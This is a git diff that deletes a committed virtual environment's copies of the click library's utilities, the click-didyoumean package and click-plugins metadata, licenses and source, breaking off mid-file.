``stdout``. - :param nl: Print a newline after the message. Enabled by default. - :param color: Force showing or hiding colors and other styles. By - default Click will remove color if the output does not look like - an interactive terminal. - - .. versionchanged:: 6.0 - Support Unicode output on the Windows console. Click does not - modify ``sys.stdout``, so ``sys.stdout.write()`` and ``print()`` - will still not support Unicode. - - .. versionchanged:: 4.0 - Added the ``color`` parameter. - - .. versionadded:: 3.0 - Added the ``err`` parameter. - - .. versionchanged:: 2.0 - Support colors on Windows if colorama is installed. - """ - if file is None: - if err: - file = _default_text_stderr() - else: - file = _default_text_stdout() - - # There are no standard streams attached to write to. For example, - # pythonw on Windows. - if file is None: - return - - match message: - case str() | bytes() | bytearray(): - out = message - case None: - out = "" - case _: - out = str(message) - - if nl: - if isinstance(out, str): - out += "\n" - else: - out += b"\n" - - if not out: - file.flush() - return - - # If there is a message and the value looks like bytes, we manually - # need to find the binary stream and write the message in there. - # This is done separately so that most stream types will work as you - # would expect. Eg: you can write to StringIO for other cases. - if isinstance(out, (bytes, bytearray)): - binary_file = _find_binary_writer(file) - if binary_file is not None: - file.flush() - binary_file.write(out) - binary_file.flush() - return - - # ANSI style code support. For no message or bytes, nothing happens. - # When outputting to a file instead of a terminal, strip codes. - else: - color = resolve_color_default(color) - - if should_strip_ansi(file, color): - out = strip_ansi(out) - elif WIN: - if auto_wrap_for_ansi is not None: - file = auto_wrap_for_ansi(file, color) # type: ignore - elif not color: - out = strip_ansi(out) - - file.write(out) # type: ignore - file.flush() - - -def get_binary_stream(name: t.Literal["stdin", "stdout", "stderr"]) -> t.BinaryIO: - """Returns a system stream for byte processing. - - :param name: the name of the stream to open. Valid names are ``'stdin'``, - ``'stdout'`` and ``'stderr'`` - """ - opener = binary_streams.get(name) - if opener is None: - raise TypeError(_("Unknown standard stream '{name}'").format(name=name)) - return opener() - - -def get_text_stream( - name: t.Literal["stdin", "stdout", "stderr"], - encoding: str | None = None, - errors: str | None = "strict", -) -> t.TextIO: - """Returns a system stream for text processing. This usually returns - a wrapped stream around a binary stream returned from - :func:`get_binary_stream` but it also can take shortcuts for already - correctly configured streams. - - :param name: the name of the stream to open. Valid names are ``'stdin'``, - ``'stdout'`` and ``'stderr'`` - :param encoding: overrides the detected default encoding. - :param errors: overrides the default error mode. - """ - opener = text_streams.get(name) - if opener is None: - raise TypeError(_("Unknown standard stream '{name}'").format(name=name)) - return opener(encoding, errors) - - -def open_file( - filename: str | os.PathLike[str], - mode: str = "r", - encoding: str | None = None, - errors: str | None = "strict", - lazy: bool = False, - atomic: bool = False, -) -> t.IO[t.Any]: - """Open a file, with extra behavior to handle ``'-'`` to indicate - a standard stream, lazy open on write, and atomic write. Similar to - the behavior of the :class:`~click.File` param type. - - If ``'-'`` is given to open ``stdout`` or ``stdin``, the stream is - wrapped so that using it in a context manager will not close it. - This makes it possible to use the function without accidentally - closing a standard stream: - - .. code-block:: python - - with open_file(filename) as f: - ... - - :param filename: The name or Path of the file to open, or ``'-'`` for - ``stdin``/``stdout``. - :param mode: The mode in which to open the file. - :param encoding: The encoding to decode or encode a file opened in - text mode. - :param errors: The error handling mode. - :param lazy: Wait to open the file until it is accessed. For read - mode, the file is temporarily opened to raise access errors - early, then closed until it is read again. - :param atomic: Write to a temporary file and replace the given file - on close. - - .. versionadded:: 3.0 - """ - if lazy: - return t.cast( - "t.IO[t.Any]", LazyFile(filename, mode, encoding, errors, atomic=atomic) - ) - - f, should_close = open_stream(filename, mode, encoding, errors, atomic=atomic) - - if not should_close: - f = t.cast("t.IO[t.Any]", KeepOpenFile(f)) - - return f - - -def format_filename( - filename: str | bytes | os.PathLike[str] | os.PathLike[bytes], - shorten: bool = False, -) -> str: - """Format a filename as a string for display. Ensures the filename can be - displayed by replacing any invalid bytes or surrogate escapes in the name - with the replacement character ``�``. - - Invalid bytes or surrogate escapes will raise an error when written to a - stream with ``errors="strict"``. This will typically happen with ``stdout`` - when the locale is something like ``en_GB.UTF-8``. - - Many scenarios *are* safe to write surrogates though, due to PEP 538 and - PEP 540, including: - - - Writing to ``stderr``, which uses ``errors="backslashreplace"``. - - The system has ``LANG=C.UTF-8``, ``C``, or ``POSIX``. Python opens - stdout and stderr with ``errors="surrogateescape"``. - - None of ``LANG/LC_*`` are set. Python assumes ``LANG=C.UTF-8``. - - Python is started in UTF-8 mode with ``PYTHONUTF8=1`` or ``-X utf8``. - Python opens stdout and stderr with ``errors="surrogateescape"``. - - :param filename: formats a filename for UI display. This will also convert - the filename into unicode without failing. - :param shorten: this optionally shortens the filename to strip of the - path that leads up to it. - """ - if shorten: - filename = os.path.basename(filename) - else: - filename = os.fspath(filename) - - if isinstance(filename, bytes): - filename = filename.decode(sys.getfilesystemencoding(), "replace") - else: - filename = filename.encode("utf-8", "surrogateescape").decode( - "utf-8", "replace" - ) - - return filename - - -def get_app_dir(app_name: str, roaming: bool = True, force_posix: bool = False) -> str: - r"""Returns the config folder for the application. The default behavior - is to return whatever is most appropriate for the operating system. - - To give you an idea, for an app called ``"Foo Bar"``, something like - the following folders could be returned: - - Mac OS X: - ``~/Library/Application Support/Foo Bar`` - Mac OS X (POSIX): - ``~/.foo-bar`` - Unix: - ``~/.config/foo-bar`` - Unix (POSIX): - ``~/.foo-bar`` - Windows (roaming): - ``C:\Users\\AppData\Roaming\Foo Bar`` - Windows (not roaming): - ``C:\Users\\AppData\Local\Foo Bar`` - - .. versionadded:: 2.0 - - :param app_name: the application name. This should be properly capitalized - and can contain whitespace. - :param roaming: controls if the folder should be roaming or not on Windows. - Has no effect otherwise. - :param force_posix: if this is set to `True` then on any POSIX system the - folder will be stored in the home folder with a leading - dot instead of the XDG config home or darwin's - application support folder. - """ - if WIN: - key = "APPDATA" if roaming else "LOCALAPPDATA" - folder = os.environ.get(key) - if folder is None: - folder = os.path.expanduser("~") - return os.path.join(folder, app_name) - if force_posix: - return os.path.join(os.path.expanduser(f"~/.{_posixify(app_name)}")) - if sys.platform == "darwin": - return os.path.join( - os.path.expanduser("~/Library/Application Support"), app_name - ) - return os.path.join( - os.environ.get("XDG_CONFIG_HOME", os.path.expanduser("~/.config")), - _posixify(app_name), - ) - - -class PacifyFlushWrapper: - """This wrapper is used to catch and suppress BrokenPipeErrors resulting - from ``.flush()`` being called on broken pipe during the shutdown/final-GC - of the Python interpreter. Notably ``.flush()`` is always called on - ``sys.stdout`` and ``sys.stderr``. So as to have minimal impact on any - other cleanup code, and the case where the underlying file is not a broken - pipe, all calls and attributes are proxied. - """ - - wrapped: t.IO[t.Any] - - def __init__(self, wrapped: t.IO[t.Any]) -> None: - self.wrapped = wrapped - - def flush(self) -> None: - try: - self.wrapped.flush() - except OSError as e: - import errno - - if e.errno != errno.EPIPE: - raise - - def __getattr__(self, attr: str) -> t.Any: - return getattr(self.wrapped, attr) - - -def _detect_program_name( - path: str | None = None, _main: ModuleType | None = None -) -> str: - """Determine the command used to run the program, for use in help - text. If a file or entry point was executed, the file name is - returned. If ``python -m`` was used to execute a module or package, - ``python -m name`` is returned. - - This doesn't try to be too precise, the goal is to give a concise - name for help text. Files are only shown as their name without the - path. ``python`` is only shown for modules, and the full path to - ``sys.executable`` is not shown. - - :param path: The Python file being executed. Python puts this in - ``sys.argv[0]``, which is used by default. - :param _main: The ``__main__`` module. This should only be passed - during internal testing. - - .. versionadded:: 8.0 - Based on command args detection in the Werkzeug reloader. - - :meta private: - """ - if _main is None: - _main = sys.modules["__main__"] - - if not path: - path = sys.argv[0] - - # The value of __package__ indicates how Python was called. It may - # not exist if a setuptools script is installed as an egg. It may be - # set incorrectly for entry points created with pip on Windows. - # It is set to "" inside a Shiv or PEX zipapp. - if getattr(_main, "__package__", None) in {None, ""} or ( - os.name == "nt" - and _main.__package__ == "" - and not os.path.exists(path) - and os.path.exists(f"{path}.exe") - ): - # Executed a file, like "python app.py". - return os.path.basename(path) - - # Executed a module, like "python -m example". - # Rewritten by Python from "-m script" to "/path/to/script.py". - # Need to look at main module to determine how it was executed. - py_module = t.cast(str, _main.__package__) - name = os.path.splitext(os.path.basename(path))[0] - - # A submodule like "example.cli". - if name != "__main__": - py_module = f"{py_module}.{name}" - - return f"python -m {py_module.lstrip('.')}" - - -def _expand_args( - args: cabc.Iterable[str], - *, - user: bool = True, - env: bool = True, - glob_recursive: bool = True, -) -> list[str]: - """Simulate Unix shell expansion with Python functions. - - See :func:`glob.glob`, :func:`os.path.expanduser`, and - :func:`os.path.expandvars`. - - This is intended for use on Windows, where the shell does not do any - expansion. It may not exactly match what a Unix shell would do. - - :param args: List of command line arguments to expand. - :param user: Expand user home directory. - :param env: Expand environment variables. - :param glob_recursive: ``**`` matches directories recursively. - - .. versionchanged:: 8.1 - Invalid glob patterns are treated as empty expansions rather - than raising an error. - - .. versionadded:: 8.0 - - :meta private: - """ - from glob import glob - - out = [] - - for arg in args: - if user: - arg = os.path.expanduser(arg) - - if env: - arg = os.path.expandvars(arg) - - try: - matches = glob(arg, recursive=glob_recursive) - except re.error: - matches = [] - - if not matches: - out.append(arg) - else: - out.extend(matches) - - return out diff --git a/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/INSTALLER b/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/LICENSE b/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/LICENSE deleted file mode 100644 index 77fff8cd8b57465702ab0c9531ac9cd82c5fd414..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2016 Timo Furrer - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/METADATA b/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/METADATA deleted file mode 100644 index 46393fd4f1ae8981a81b8b2f7f4f35f8455879b8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/METADATA +++ /dev/null @@ -1,153 +0,0 @@ -Metadata-Version: 2.1 -Name: click-didyoumean -Version: 0.3.1 -Summary: Enables git-like *did-you-mean* feature in click -Home-page: https://github.com/click-contrib/click-didyoumean -License: MIT -Author: Timo Furrer -Author-email: timo.furrer@roche.com -Requires-Python: >=3.6.2 -Classifier: License :: OSI Approved :: MIT License -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Requires-Dist: click (>=7) -Project-URL: Repository, https://github.com/click-contrib/click-didyoumean -Description-Content-Type: text/x-rst - -click-didyoumean -================ -|pypi| |build| |license| - -Enable git-like *did-you-mean* feature in click. - -It's as simple as this: - -.. code:: python - - import click - from click_didyoumean import DYMGroup - - @click.group(cls=DYMGroup) - def cli(): - ... - -|demo| - -Usage ------ - -Install this extension with pip: - -.. code:: - - pip install click-didyoumean - - -Use specific *did-you-mean* `group` class for your cli: - - -.. code:: python - - import click - from click_didyoumean import DYMGroup - - @click.group(cls=DYMGroup) - def cli(): - pass - - @cli.command() - def foo(): - pass - - @cli.command() - def bar(): - pass - - @cli.command() - def barrr(): - pass - - if __name__ == "__main__": - cli() - - -Or you it in a `CommandCollection`: - -.. code:: python - - import click - from click_didyoumean import DYMCommandCollection - - @click.group() - def cli1(): - pass - - @cli1.command() - def foo(): - pass - - @cli1.command() - def bar(): - pass - - @click.group() - def cli2(): - pass - - @cli2.command() - def barrr(): - pass - - cli = DYMCommandCollection(sources=[cli1, cli2]) - - if __name__ == "__main__": - cli() - - -Change configuration --------------------- - -There are two configuration for the ``DYMGroup`` and ``DYMCommandCollection``: - -+-----------------+-------+---------+---------------------------------------------------------------------------+ -| Parameter | Type | Default | Description | -+=================+=======+=========+===========================================================================+ -| max_suggestions | int | 3 | Maximal number of *did-you-mean* suggestions | -+-----------------+-------+---------+---------------------------------------------------------------------------+ -| cutoff | float | 0.5 | Possibilities that don’t score at least that similar to word are ignored. | -+-----------------+-------+---------+---------------------------------------------------------------------------+ - -Examples -~~~~~~~~ - -.. code:: python - - @cli.group(cls=DYMGroup, max_suggestions=2, cutoff=0.7) - def cli(): - pass - - ... or ... - - cli = DYMCommandCollection(sources=[cli1, cli2], max_suggestions=2, cutoff=0.7) - - -.. |pypi| image:: https://img.shields.io/pypi/v/click-didyoumean.svg?style=flat&label=version - :target: https://pypi.python.org/pypi/click-didyoumean - :alt: Latest version released on PyPi - -.. |build| image:: https://img.shields.io/travis/click-contrib/click-didyoumean/master.svg?style=flat - :target: http://travis-ci.org/click-contrib/click-didyoumean - :alt: Build status of the master branch - -.. |demo| image:: https://raw.githubusercontent.com/click-contrib/click-didyoumean/master/examples/asciicast.gif - :alt: Demo - -.. |license| image:: https://img.shields.io/badge/license-MIT-blue.svg?style=flat - :target: https://raw.githubusercontent.com/click-contrib/click-didyoumean/master/LICENSE - :alt: Package license - diff --git a/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/RECORD b/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/RECORD deleted file mode 100644 index 328c80cc844c132f72ac6ff9c21d4a9a25713f15..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/RECORD +++ /dev/null @@ -1,7 +0,0 @@ -click_didyoumean-0.3.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -click_didyoumean-0.3.1.dist-info/LICENSE,sha256=78dPJV3W_UKJNjsb_nHNDtcLKSbIJY1hUiBOaokEHAo,1056 -click_didyoumean-0.3.1.dist-info/METADATA,sha256=GYONTKiVryMonBm2dZBpQGjVnQP_sesQFjfqLbf9AnU,3943 -click_didyoumean-0.3.1.dist-info/RECORD,, -click_didyoumean-0.3.1.dist-info/WHEEL,sha256=sP946D7jFCHeNz5Iq4fL4Lu-PrWrFsgfLXbbkciIZwg,88 -click_didyoumean/__init__.py,sha256=ZdVAFTqOmOQOcKAn8ew4Knr8tYXSDwQyEzc7az-gd08,2054 -click_didyoumean/__pycache__/__init__.cpython-314.pyc,, diff --git a/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/WHEEL b/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/WHEEL deleted file mode 100644 index d73ccaae8e0eea45949b0957a5af034099b36aa4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: poetry-core 1.9.0 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/click_didyoumean/__init__.py b/venv/Lib/site-packages/click_didyoumean/__init__.py deleted file mode 100644 index 15e01cbbb459359f48dfc10505319529dab1390f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_didyoumean/__init__.py +++ /dev/null @@ -1,66 +0,0 @@ -""" -Extension for ``click`` to provide a group -with a git-like *did-you-mean* feature. -""" - -import difflib -import typing - -import click - - -class DYMMixin: - """ - Mixin class for click MultiCommand inherited classes - to provide git-like *did-you-mean* functionality when - a certain command is not registered. - """ - - def __init__(self, *args: typing.Any, **kwargs: typing.Any) -> None: - self.max_suggestions = kwargs.pop("max_suggestions", 3) - self.cutoff = kwargs.pop("cutoff", 0.5) - super().__init__(*args, **kwargs) # type: ignore - - def resolve_command( - self, ctx: click.Context, args: typing.List[str] - ) -> typing.Tuple[ - typing.Optional[str], typing.Optional[click.Command], typing.List[str] - ]: - """ - Overrides clicks ``resolve_command`` method - and appends *Did you mean ...* suggestions - to the raised exception message. - """ - try: - return super(DYMMixin, self).resolve_command(ctx, args) # type: ignore - except click.exceptions.UsageError as error: - error_msg = str(error) - original_cmd_name = click.utils.make_str(args[0]) - matches = difflib.get_close_matches( - original_cmd_name, - self.list_commands(ctx), # type: ignore - self.max_suggestions, - self.cutoff, - ) - if matches: - fmt_matches = "\n ".join(matches) - error_msg += "\n\n" - error_msg += f"Did you mean one of these?\n {fmt_matches}" - - raise click.exceptions.UsageError(error_msg, error.ctx) - - -class DYMGroup(DYMMixin, click.Group): - """ - click Group to provide git-like - *did-you-mean* functionality when a certain - command is not found in the group. - """ - - -class DYMCommandCollection(DYMMixin, click.CommandCollection): - """ - click CommandCollection to provide git-like - *did-you-mean* functionality when a certain - command is not found in the group. - """ diff --git a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/INSTALLER b/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/METADATA b/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/METADATA deleted file mode 100644 index defce75d7c7e0650cb599745fabb64f960bef801..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/METADATA +++ /dev/null @@ -1,219 +0,0 @@ -Metadata-Version: 2.4 -Name: click-plugins -Version: 1.1.1.2 -Summary: An extension module for click to enable registering CLI commands via setuptools entry-points. -Home-page: https://github.com/click-contrib/click-plugins -Author: Kevin Wurster, Sean Gillies -Author-email: wursterk@gmail.com, sean.gillies@gmail.com -License: New BSD -Keywords: click plugin setuptools entry-point -Classifier: Topic :: Utilities -Classifier: Intended Audience :: Developers -Classifier: Development Status :: 7 - Inactive -Classifier: License :: OSI Approved :: BSD License -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -License-File: LICENSE.txt -License-File: AUTHORS.txt -Requires-Dist: click>=4.0 -Provides-Extra: dev -Requires-Dist: pytest>=3.6; extra == "dev" -Requires-Dist: pytest-cov; extra == "dev" -Requires-Dist: wheel; extra == "dev" -Requires-Dist: coveralls; extra == "dev" -Dynamic: author -Dynamic: author-email -Dynamic: classifier -Dynamic: description -Dynamic: home-page -Dynamic: keywords -Dynamic: license -Dynamic: license-file -Dynamic: provides-extra -Dynamic: requires-dist -Dynamic: summary - -============= -click-plugins -============= - -This PyPI package is no longer actively maintained, but the underlying -library can be vendored. See `homepage `_ -for more information. - -An extension module for `click `_ to register -external CLI commands via setuptools entry-points. - - -Why? ----- - -Lets say you develop a commandline interface and someone requests a new feature -that is absolutely related to your project but would have negative consequences -like additional dependencies, major refactoring, or maybe its just too domain -specific to be supported directly. Rather than developing a separate standalone -utility you could offer up a `setuptools entry point `_ -that allows others to use your commandline utility as a home for their related -sub-commands. You get to choose where these sub-commands or sub-groups CAN be -registered but the plugin developer gets to choose they ARE registered. You -could have all plugins register alongside the core commands, in a special -sub-group, across multiple sub-groups, or some combination. - - -Enabling Plugins ----------------- - -For a more detailed example see the `examples `_ section. - -The only requirement is decorating ``click.group()`` with ``click_plugins.with_plugins()`` -which handles attaching external commands and groups. In this case the core CLI developer -registers CLI plugins from ``core_package.cli_plugins``. - -.. code-block:: python - - from pkg_resources import iter_entry_points - - import click - from click_plugins import with_plugins - - - @with_plugins(iter_entry_points('core_package.cli_plugins')) - @click.group() - def cli(): - """Commandline interface for yourpackage.""" - - @cli.command() - def subcommand(): - """Subcommand that does something.""" - - -Developing Plugins ------------------- - -Plugin developers need to register their sub-commands or sub-groups to an -entry-point in their ``setup.py`` that is loaded by the core package. - -.. code-block:: python - - from setuptools import setup - - setup( - name='yourscript', - version='0.1', - py_modules=['yourscript'], - install_requires=[ - 'click', - ], - entry_points=''' - [core_package.cli_plugins] - cool_subcommand=yourscript.cli:cool_subcommand - another_subcommand=yourscript.cli:another_subcommand - ''', - ) - - -Broken and Incompatible Plugins -------------------------------- - -Any sub-command or sub-group that cannot be loaded is caught and converted to -a ``click_plugins.core.BrokenCommand()`` rather than just crashing the entire -CLI. The short-help is converted to a warning message like: - -.. code-block:: console - - Warning: could not load plugin. See `` --help``. - -and if the sub-command or group is executed the entire traceback is printed. - - -Best Practices and Extra Credit -------------------------------- - -Opening a CLI to plugins encourages other developers to independently extend -functionality independently but there is no guarantee these new features will -be "on brand". Plugin developers are almost certainly already using features -in the core package the CLI belongs to so defining commonly used arguments and -options in one place lets plugin developers reuse these flags to produce a more -cohesive CLI. If the CLI is simple maybe just define them at the top of -``yourpackage/cli.py`` or for more complex packages something like -``yourpackage/cli/options.py``. These common options need to be easy to find -and be well documented so that plugin developers know what variable to give to -their sub-command's function and what object they can expect to receive. Don't -forget to document non-obvious callbacks. - -Keep in mind that plugin developers also have access to the parent group's -``ctx.obj``, which is very useful for passing things like verbosity levels or -config values around to sub-commands. - -Here's some code that sub-commands could re-use: - -.. code-block:: python - - from multiprocessing import cpu_count - - import click - - jobs_opt = click.option( - '-j', '--jobs', metavar='CORES', type=click.IntRange(min=1, max=cpu_count()), default=1, - show_default=True, help="Process data across N cores." - ) - -Plugin developers can access this with: - -.. code-block:: python - - import click - import parent_cli_package.cli.options - - - @click.command() - @parent_cli_package.cli.options.jobs_opt - def subcommand(jobs): - """I do something domain specific.""" - - -Installation ------------- - -With ``pip``: - -.. code-block:: console - - $ pip install click-plugins - -From source: - -.. code-block:: console - - $ git clone https://github.com/click-contrib/click-plugins.git - $ cd click-plugins - $ python setup.py install - - -Developing ----------- - -.. code-block:: console - - $ git clone https://github.com/click-contrib/click-plugins.git - $ cd click-plugins - $ pip install -e .\[dev\] - $ pytest tests --cov click_plugins --cov-report term-missing - - -Changelog ---------- - -See ``CHANGES.txt`` - - -Authors -------- - -See ``AUTHORS.txt`` - - -License -------- - -See ``LICENSE.txt`` diff --git a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/RECORD b/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/RECORD deleted file mode 100644 index 51ee5443e4656c13970da32449fb1d1dc27f3456..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/RECORD +++ /dev/null @@ -1,14 +0,0 @@ -__pycache__/click_plugins.cpython-314.pyc,, -click_plugins-1.1.1.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -click_plugins-1.1.1.2.dist-info/METADATA,sha256=yAp8lvQhJ3_U6dtzp0zfh181qntYtIRBLs-_Mn5KPGw,6461 -click_plugins-1.1.1.2.dist-info/RECORD,, -click_plugins-1.1.1.2.dist-info/WHEEL,sha256=JNWh1Fm1UdwIQV075glCn4MVuCRs0sotJIq-J6rbxCU,109 -click_plugins-1.1.1.2.dist-info/licenses/AUTHORS.txt,sha256=FUhD9wZxX5--d9KS7hUB-wnHgyS67pdnWvADk8lrLeE,90 -click_plugins-1.1.1.2.dist-info/licenses/LICENSE.txt,sha256=-hmG0Gx9O6d2NSRgTbqzn69bGonHgSqNXZMufdcANtI,1517 -click_plugins-1.1.1.2.dist-info/top_level.txt,sha256=oB_GDZcOeOKX1eKKCfqSMR4tfJS6iL3zJshaJJPSQUI,14 -click_plugins-1.1.1.2.dist-info/zip-safe,sha256=AbpHGcgLb-kRsJGnwFEktk7uzpZOCcBY74-YBdrKVGs,1 -click_plugins.py,sha256=6E91i5df3URifE6VP0DA2iQKcvbTuHsEO6DeRr-QeFU,8095 -click_plugins/__init__.py,sha256=BvL0vYsRX1ho7W5YCFmeEeiXwoiPa-EIcBvvWdezMoM,2249 -click_plugins/__pycache__/__init__.cpython-314.pyc,, -click_plugins/__pycache__/core.cpython-314.pyc,, -click_plugins/core.py,sha256=4hhmUpFi6MSYsvxogksNu5dlKEWNscbiE9ynUy5dPdE,2475 diff --git a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/WHEEL b/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/WHEEL deleted file mode 100644 index 5f133dbb5cfac001f2e84cda817210c03ce6484e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/WHEEL +++ /dev/null @@ -1,6 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (80.9.0) -Root-Is-Purelib: true -Tag: py2-none-any -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/licenses/AUTHORS.txt b/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/licenses/AUTHORS.txt deleted file mode 100644 index 17b68caac03c2c3012068ded1282cabcd4578bbd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/licenses/AUTHORS.txt +++ /dev/null @@ -1,5 +0,0 @@ -Authors -======= - -Kevin Wurster -Sean Gillies diff --git a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/licenses/LICENSE.txt b/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/licenses/LICENSE.txt deleted file mode 100644 index becff5667fce6f0bf59116e11ac3bfe3232acc94..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/licenses/LICENSE.txt +++ /dev/null @@ -1,29 +0,0 @@ -New BSD License - -Copyright (c) 2015-2025, Kevin D. Wurster, Sean C. Gillies -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither click-plugins nor the names of its contributors may not be used to - endorse or promote products derived from this software without specific prior - written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/top_level.txt b/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/top_level.txt deleted file mode 100644 index 22e5b9b907b20f436a90896b2593eabddf2d0ce8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -click_plugins diff --git a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/zip-safe b/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/zip-safe deleted file mode 100644 index 8b137891791fe96927ad78e64b0aad7bded08bdc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins-1.1.1.2.dist-info/zip-safe +++ /dev/null @@ -1 +0,0 @@ - diff --git a/venv/Lib/site-packages/click_plugins.py b/venv/Lib/site-packages/click_plugins.py deleted file mode 100644 index 57ba77a5e88bafa5842bb061a3533075077e9440..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click_plugins.py +++ /dev/null @@ -1,237 +0,0 @@ -"""See ``with_plugins()``.""" - - -from importlib.metadata import entry_points as im_entry_points -import os -import sys -import traceback - -import click - - -__version__ = '2.0dev' -__author__ = 'Kevin Wurster, Sean Gillies' -__email__ = 'wursterk@gmail.com, sean.gillies@gmail.com' -__source__ = 'https://github.com/click-contrib/click-plugins' -__license__ = ''' -New BSD License - -Copyright (c) 2015-2023, Kevin D. Wurster, Sean C. Gillies -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or 